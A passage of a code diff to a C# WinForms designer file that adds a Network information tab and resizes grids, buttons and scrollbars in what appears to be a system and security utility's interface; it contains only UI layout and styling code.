System.Drawing.Color.Gainsboro; + this.informationGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); + this.informationGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White; + this.informationGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); + this.informationGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty; + this.informationGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White; + this.informationGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); + this.informationGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167))))); + this.informationGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235))))); + this.informationGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty; + this.informationGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); + this.informationGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font("Segoe UI Semibold", 10F); + this.informationGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); + this.informationGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); + this.informationGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40); + this.informationGuna2TabControl.TabIndex = 36; + this.informationGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White; + this.informationGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop; + // + // tabPage30 + // + this.tabPage30.BackColor = System.Drawing.Color.White; + this.tabPage30.Controls.Add(this.retrieveInformationGuna2Button); + this.tabPage30.Controls.Add(this.panel22); + this.tabPage30.Controls.Add(this.guna2GroupBox2); + this.tabPage30.Controls.Add(this.guna2GroupBox1); + this.tabPage30.Location = new System.Drawing.Point(4, 44); + this.tabPage30.Name = "tabPage30"; + this.tabPage30.Padding = new System.Windows.Forms.Padding(0, 40, 0, 0); + this.tabPage30.Size = new System.Drawing.Size(1075, 378); + this.tabPage30.TabIndex = 0; + this.tabPage30.Text = "System"; + // + // retrieveInformationGuna2Button + // + this.retrieveInformationGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.retrieveInformationGuna2Button.Animated = true; + this.retrieveInformationGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; + this.retrieveInformationGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; + this.retrieveInformationGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); + this.retrieveInformationGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); + this.retrieveInformationGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); + this.retrieveInformationGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); + this.retrieveInformationGuna2Button.ForeColor = System.Drawing.Color.White; + this.retrieveInformationGuna2Button.Location = new System.Drawing.Point(2, 3); + this.retrieveInformationGuna2Button.Name = "retrieveInformationGuna2Button"; + this.retrieveInformationGuna2Button.Size = new System.Drawing.Size(1071, 33); + this.retrieveInformationGuna2Button.TabIndex = 35; + this.retrieveInformationGuna2Button.Text = "Retrieve information"; + this.retrieveInformationGuna2Button.Click += new System.EventHandler(this.retrieveInformationGuna2Button_Click); + // + // panel22 + // + this.panel22.Dock = System.Windows.Forms.DockStyle.Left; + this.panel22.Location = new System.Drawing.Point(571, 40); + this.panel22.Name = "panel22"; + this.panel22.Size = new System.Drawing.Size(6, 338); + this.panel22.TabIndex = 11; + // // guna2GroupBox2 // this.guna2GroupBox2.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); @@ -2984,10 +3069,10 @@ private void InitializeComponent() this.guna2GroupBox2.Dock = System.Windows.Forms.DockStyle.Fill; this.guna2GroupBox2.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); this.guna2GroupBox2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100))))); - this.guna2GroupBox2.Location = new System.Drawing.Point(577, 40); + this.guna2GroupBox2.Location = new System.Drawing.Point(571, 40); this.guna2GroupBox2.Name = "guna2GroupBox2"; this.guna2GroupBox2.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2); - this.guna2GroupBox2.Size = new System.Drawing.Size(506, 386); + this.guna2GroupBox2.Size = new System.Drawing.Size(504, 338); this.guna2GroupBox2.TabIndex = 9; this.guna2GroupBox2.Text = "System"; // @@ -2999,7 +3084,7 @@ private void InitializeComponent() this.panel16.Location = new System.Drawing.Point(2, 42); this.panel16.Name = "panel16"; this.panel16.Padding = new System.Windows.Forms.Padding(2, 2, 2, 0); - this.panel16.Size = new System.Drawing.Size(502, 342); + this.panel16.Size = new System.Drawing.Size(500, 294); this.panel16.TabIndex = 19; // // guna2VScrollBar11 @@ -3008,11 +3093,11 @@ private void InitializeComponent() this.guna2VScrollBar11.FillColor = System.Drawing.Color.White; this.guna2VScrollBar11.InUpdate = false; this.guna2VScrollBar11.LargeChange = 10; - this.guna2VScrollBar11.Location = new System.Drawing.Point(482, 2); + this.guna2VScrollBar11.Location = new System.Drawing.Point(480, 2); this.guna2VScrollBar11.Minimum = 1; this.guna2VScrollBar11.Name = "guna2VScrollBar11"; this.guna2VScrollBar11.ScrollbarSize = 18; - this.guna2VScrollBar11.Size = new System.Drawing.Size(18, 340); + this.guna2VScrollBar11.Size = new System.Drawing.Size(18, 292); this.guna2VScrollBar11.TabIndex = 22; this.guna2VScrollBar11.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.guna2VScrollBar11.Value = 1; @@ -3056,7 +3141,7 @@ private void InitializeComponent() this.systemInformationDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle45; this.systemInformationDataGridView.RowTemplate.Height = 26; this.systemInformationDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.systemInformationDataGridView.Size = new System.Drawing.Size(498, 340); + this.systemInformationDataGridView.Size = new System.Drawing.Size(496, 292); this.systemInformationDataGridView.TabIndex = 18; this.systemInformationDataGridView.TabStop = false; // @@ -3078,33 +3163,6 @@ private void InitializeComponent() this.Column41.Name = "Column41"; this.Column41.ReadOnly = true; // - // retrieveInformationGuna2Button - // - this.retrieveInformationGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.retrieveInformationGuna2Button.Animated = true; - this.retrieveInformationGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; - this.retrieveInformationGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; - this.retrieveInformationGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); - this.retrieveInformationGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); - this.retrieveInformationGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); - this.retrieveInformationGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); - this.retrieveInformationGuna2Button.ForeColor = System.Drawing.Color.White; - this.retrieveInformationGuna2Button.Location = new System.Drawing.Point(4, 0); - this.retrieveInformationGuna2Button.Name = "retrieveInformationGuna2Button"; - this.retrieveInformationGuna2Button.Size = new System.Drawing.Size(1076, 33); - this.retrieveInformationGuna2Button.TabIndex = 35; - this.retrieveInformationGuna2Button.Text = "Retrieve information"; - this.retrieveInformationGuna2Button.Click += new System.EventHandler(this.retrieveInformationGuna2Button_Click); - // - // panel11 - // - this.panel11.Dock = System.Windows.Forms.DockStyle.Left; - this.panel11.Location = new System.Drawing.Point(571, 40); - this.panel11.Name = "panel11"; - this.panel11.Size = new System.Drawing.Size(6, 386); - this.panel11.TabIndex = 10; - // // guna2GroupBox1 // this.guna2GroupBox1.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); @@ -3118,7 +3176,7 @@ private void InitializeComponent() this.guna2GroupBox1.Location = new System.Drawing.Point(0, 40); this.guna2GroupBox1.Name = "guna2GroupBox1"; this.guna2GroupBox1.Padding = new System.Windows.Forms.Padding(2, 42, 2, 2); - this.guna2GroupBox1.Size = new System.Drawing.Size(571, 386); + this.guna2GroupBox1.Size = new System.Drawing.Size(571, 338); this.guna2GroupBox1.TabIndex = 8; this.guna2GroupBox1.Text = "Hardware"; // @@ -3130,7 +3188,7 @@ private void InitializeComponent() this.panel15.Location = new System.Drawing.Point(281, 42); this.panel15.Name = "panel15"; this.panel15.Padding = new System.Windows.Forms.Padding(2, 2, 2, 0); - this.panel15.Size = new System.Drawing.Size(288, 342); + this.panel15.Size = new System.Drawing.Size(288, 294); this.panel15.TabIndex = 21; // // componentsDataGridView @@ -3171,7 +3229,7 @@ private void InitializeComponent() this.componentsDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle48; this.componentsDataGridView.RowTemplate.Height = 26; this.componentsDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.componentsDataGridView.Size = new System.Drawing.Size(266, 340); + this.componentsDataGridView.Size = new System.Drawing.Size(266, 292); this.componentsDataGridView.TabIndex = 19; this.componentsDataGridView.TabStop = false; // @@ -3203,7 +3261,7 @@ private void InitializeComponent() this.guna2VScrollBar10.Minimum = 1; this.guna2VScrollBar10.Name = "guna2VScrollBar10"; this.guna2VScrollBar10.ScrollbarSize = 18; - this.guna2VScrollBar10.Size = new System.Drawing.Size(18, 340); + this.guna2VScrollBar10.Size = new System.Drawing.Size(18, 292); this.guna2VScrollBar10.TabIndex = 21; this.guna2VScrollBar10.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.guna2VScrollBar10.Value = 1; @@ -3217,7 +3275,7 @@ private void InitializeComponent() this.panel13.Location = new System.Drawing.Point(2, 42); this.panel13.Name = "panel13"; this.panel13.Padding = new System.Windows.Forms.Padding(2); - this.panel13.Size = new System.Drawing.Size(279, 342); + this.panel13.Size = new System.Drawing.Size(279, 294); this.panel13.TabIndex = 20; // // cpuDataGridView @@ -3258,7 +3316,7 @@ private void InitializeComponent() this.cpuDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle51; this.cpuDataGridView.RowTemplate.Height = 26; this.cpuDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; - this.cpuDataGridView.Size = new System.Drawing.Size(252, 338); + this.cpuDataGridView.Size = new System.Drawing.Size(252, 290); this.cpuDataGridView.TabIndex = 18; this.cpuDataGridView.TabStop = false; // @@ -3290,7 +3348,7 @@ private void InitializeComponent() this.guna2VScrollBar9.Minimum = 1; this.guna2VScrollBar9.Name = "guna2VScrollBar9"; this.guna2VScrollBar9.ScrollbarSize = 18; - this.guna2VScrollBar9.Size = new System.Drawing.Size(18, 338); + this.guna2VScrollBar9.Size = new System.Drawing.Size(18, 290); this.guna2VScrollBar9.TabIndex = 20; this.guna2VScrollBar9.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); this.guna2VScrollBar9.Value = 1; @@ -3300,9 +3358,102 @@ private void InitializeComponent() this.panel14.Dock = System.Windows.Forms.DockStyle.Right; this.panel14.Location = new System.Drawing.Point(272, 2); this.panel14.Name = "panel14"; - this.panel14.Size = new System.Drawing.Size(5, 338); + this.panel14.Size = new System.Drawing.Size(5, 290); this.panel14.TabIndex = 19; // + // tabPage31 + // + this.tabPage31.BackColor = System.Drawing.Color.White; + this.tabPage31.Controls.Add(this.guna2VScrollBar15); + this.tabPage31.Controls.Add(this.networkInformationDataGridView); + this.tabPage31.Controls.Add(this.retrieveNetworkGuna2Button); + this.tabPage31.Location = new System.Drawing.Point(4, 44); + this.tabPage31.Name = "tabPage31"; + this.tabPage31.Padding = new System.Windows.Forms.Padding(0, 40, 0, 0); + this.tabPage31.Size = new System.Drawing.Size(1075, 378); + this.tabPage31.TabIndex = 1; + this.tabPage31.Text = "Network"; + // + // guna2VScrollBar15 + // + this.guna2VScrollBar15.Dock = System.Windows.Forms.DockStyle.Right; + this.guna2VScrollBar15.FillColor = System.Drawing.Color.White; + this.guna2VScrollBar15.InUpdate = false; + this.guna2VScrollBar15.LargeChange = 10; + this.guna2VScrollBar15.Location = new System.Drawing.Point(1057, 40); + this.guna2VScrollBar15.Minimum = 1; + this.guna2VScrollBar15.Name = "guna2VScrollBar15"; + this.guna2VScrollBar15.ScrollbarSize = 18; + this.guna2VScrollBar15.Size = new System.Drawing.Size(18, 338); + this.guna2VScrollBar15.TabIndex = 38; + this.guna2VScrollBar15.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); + this.guna2VScrollBar15.Value = 1; + // + // networkInformationDataGridView + // + this.networkInformationDataGridView.AllowDrop = true; + this.networkInformationDataGridView.AllowUserToAddRows = false; + this.networkInformationDataGridView.AllowUserToDeleteRows = false; + this.networkInformationDataGridView.AllowUserToResizeColumns = false; + this.networkInformationDataGridView.AllowUserToResizeRows = false; + this.networkInformationDataGridView.BackgroundColor = System.Drawing.Color.White; + this.networkInformationDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.networkInformationDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; + this.networkInformationDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; + dataGridViewCellStyle52.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle52.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); + dataGridViewCellStyle52.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); + dataGridViewCellStyle52.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); + dataGridViewCellStyle52.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle52.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle52.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.networkInformationDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle52; + this.networkInformationDataGridView.ColumnHeadersHeight = 36; + this.networkInformationDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { + this.Column48, + this.Column49, + this.Column50, + this.Column51, + this.Column52}); + this.networkInformationDataGridView.ContextMenuStrip = this.nativePEContextMenuStrip; + this.networkInformationDataGridView.Dock = System.Windows.Forms.DockStyle.Fill; + this.networkInformationDataGridView.EditMode = System.Windows.Forms.DataGridViewEditMode.EditProgrammatically; + this.networkInformationDataGridView.EnableHeadersVisualStyles = false; + this.networkInformationDataGridView.GridColor = System.Drawing.Color.White; + this.networkInformationDataGridView.Location = new System.Drawing.Point(0, 40); + this.networkInformationDataGridView.Name = "networkInformationDataGridView"; + this.networkInformationDataGridView.ReadOnly = true; + this.networkInformationDataGridView.RowHeadersVisible = false; + dataGridViewCellStyle54.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle54.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); + dataGridViewCellStyle54.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); + dataGridViewCellStyle54.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); + this.networkInformationDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle54; + this.networkInformationDataGridView.RowTemplate.Height = 26; + this.networkInformationDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; + this.networkInformationDataGridView.Size = new System.Drawing.Size(1075, 338); + this.networkInformationDataGridView.TabIndex = 37; + this.networkInformationDataGridView.TabStop = false; + // + // retrieveNetworkGuna2Button + // + this.retrieveNetworkGuna2Button.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.retrieveNetworkGuna2Button.Animated = true; + this.retrieveNetworkGuna2Button.DisabledState.BorderColor = System.Drawing.Color.DarkGray; + this.retrieveNetworkGuna2Button.DisabledState.CustomBorderColor = System.Drawing.Color.DarkGray; + this.retrieveNetworkGuna2Button.DisabledState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(169)))), ((int)(((byte)(169)))), ((int)(((byte)(169))))); + this.retrieveNetworkGuna2Button.DisabledState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(141)))), ((int)(((byte)(141)))), ((int)(((byte)(141))))); + this.retrieveNetworkGuna2Button.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249))))); + this.retrieveNetworkGuna2Button.Font = new System.Drawing.Font("Segoe UI", 9F); + this.retrieveNetworkGuna2Button.ForeColor = System.Drawing.Color.White; + this.retrieveNetworkGuna2Button.Location = new System.Drawing.Point(3, 3); + this.retrieveNetworkGuna2Button.Name = "retrieveNetworkGuna2Button"; + this.retrieveNetworkGuna2Button.Size = new System.Drawing.Size(1069, 33); + this.retrieveNetworkGuna2Button.TabIndex = 36; + this.retrieveNetworkGuna2Button.Text = "Retrieve information"; + this.retrieveNetworkGuna2Button.Click += new System.EventHandler(this.retrieveNetworkGuna2Button_Click); + // // tabPage18 // this.tabPage18.Controls.Add(this.panel18); @@ -3987,14 +4138,14 @@ private void InitializeComponent() this.restorePointDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.restorePointDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.restorePointDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; - dataGridViewCellStyle52.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; - dataGridViewCellStyle52.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); - dataGridViewCellStyle52.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); - dataGridViewCellStyle52.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); - dataGridViewCellStyle52.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle52.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle52.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.restorePointDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle52; + dataGridViewCellStyle55.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle55.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); + dataGridViewCellStyle55.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); + dataGridViewCellStyle55.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); + dataGridViewCellStyle55.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle55.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle55.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.restorePointDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle55; this.restorePointDataGridView.ColumnHeadersHeight = 36; this.restorePointDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column42, @@ -4010,11 +4161,11 @@ private void InitializeComponent() this.restorePointDataGridView.Name = "restorePointDataGridView"; this.restorePointDataGridView.ReadOnly = true; this.restorePointDataGridView.RowHeadersVisible = false; - dataGridViewCellStyle55.BackColor = System.Drawing.Color.White; - dataGridViewCellStyle55.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); - dataGridViewCellStyle55.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); - dataGridViewCellStyle55.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); - this.restorePointDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle55; + dataGridViewCellStyle58.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle58.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); + dataGridViewCellStyle58.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); + dataGridViewCellStyle58.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); + this.restorePointDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle58; this.restorePointDataGridView.RowTemplate.Height = 26; this.restorePointDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.restorePointDataGridView.Size = new System.Drawing.Size(1057, 379); @@ -4024,8 +4175,8 @@ private void InitializeComponent() // Column42 // this.Column42.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - dataGridViewCellStyle53.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); - this.Column42.DefaultCellStyle = dataGridViewCellStyle53; + dataGridViewCellStyle56.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.Column42.DefaultCellStyle = dataGridViewCellStyle56; this.Column42.FillWeight = 25F; this.Column42.HeaderText = "Number"; this.Column42.Name = "Column42"; @@ -4034,8 +4185,8 @@ private void InitializeComponent() // Column43 // this.Column43.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - dataGridViewCellStyle54.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); - this.Column43.DefaultCellStyle = dataGridViewCellStyle54; + dataGridViewCellStyle57.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); + this.Column43.DefaultCellStyle = dataGridViewCellStyle57; this.Column43.FillWeight = 18F; this.Column43.HeaderText = "Description"; this.Column43.Name = "Column43"; @@ -4163,14 +4314,14 @@ private void InitializeComponent() this.pathRansomwareDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.pathRansomwareDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.pathRansomwareDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; - dataGridViewCellStyle56.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; - dataGridViewCellStyle56.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); - dataGridViewCellStyle56.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); - dataGridViewCellStyle56.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); - dataGridViewCellStyle56.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle56.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle56.WrapMode = System.Windows.Forms.DataGridViewTriState.True; - this.pathRansomwareDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle56; + dataGridViewCellStyle59.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; + dataGridViewCellStyle59.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); + dataGridViewCellStyle59.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); + dataGridViewCellStyle59.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); + dataGridViewCellStyle59.SelectionBackColor = System.Drawing.SystemColors.Highlight; + dataGridViewCellStyle59.SelectionForeColor = System.Drawing.SystemColors.HighlightText; + dataGridViewCellStyle59.WrapMode = System.Windows.Forms.DataGridViewTriState.True; + this.pathRansomwareDataGridView.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle59; this.pathRansomwareDataGridView.ColumnHeadersHeight = 36; this.pathRansomwareDataGridView.Columns.AddRange(new System.Windows.Forms.DataGridViewColumn[] { this.Column46}); @@ -4183,11 +4334,11 @@ private void InitializeComponent() this.pathRansomwareDataGridView.Name = "pathRansomwareDataGridView"; this.pathRansomwareDataGridView.ReadOnly = true; this.pathRansomwareDataGridView.RowHeadersVisible = false; - dataGridViewCellStyle58.BackColor = System.Drawing.Color.White; - dataGridViewCellStyle58.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); - dataGridViewCellStyle58.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); - dataGridViewCellStyle58.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); - this.pathRansomwareDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle58; + dataGridViewCellStyle61.BackColor = System.Drawing.Color.White; + dataGridViewCellStyle61.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(125)))), ((int)(((byte)(125)))), ((int)(((byte)(125))))); + dataGridViewCellStyle61.SelectionBackColor = System.Drawing.Color.FromArgb(((int)(((byte)(230)))), ((int)(((byte)(230)))), ((int)(((byte)(230))))); + dataGridViewCellStyle61.SelectionForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(150)))), ((int)(((byte)(150)))), ((int)(((byte)(150))))); + this.pathRansomwareDataGridView.RowsDefaultCellStyle = dataGridViewCellStyle61; this.pathRansomwareDataGridView.RowTemplate.Height = 26; this.pathRansomwareDataGridView.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect; this.pathRansomwareDataGridView.Size = new System.Drawing.Size(1059, 420); @@ -4197,8 +4348,8 @@ private void InitializeComponent() // Column46 // this.Column46.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill; - dataGridViewCellStyle57.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); - this.Column46.DefaultCellStyle = dataGridViewCellStyle57; + dataGridViewCellStyle60.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.Column46.DefaultCellStyle = dataGridViewCellStyle60; this.Column46.FillWeight = 25F; this.Column46.HeaderText = "Path"; this.Column46.Name = "Column46"; @@ -4342,14 +4493,14 @@ private void InitializeComponent() this.extensionRansomwareDataGridView.BorderStyle = System.Windows.Forms.BorderStyle.None; this.extensionRansomwareDataGridView.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None; this.extensionRansomwareDataGridView.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None; - dataGridViewCellStyle59.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft; - dataGridViewCellStyle59.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240))))); - dataGridViewCellStyle59.Font = new System.Drawing.Font("Segoe UI Semibold", 8F); - dataGridViewCellStyle59.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115))))); - dataGridViewCellStyle59.SelectionBackColor = System.Drawing.SystemColors.Highlight; - dataGridViewCellStyle59.SelectionForeColor = System.Drawing.SystemColors.HighlightText; - dataGridViewCellStyle59.WrapMode = 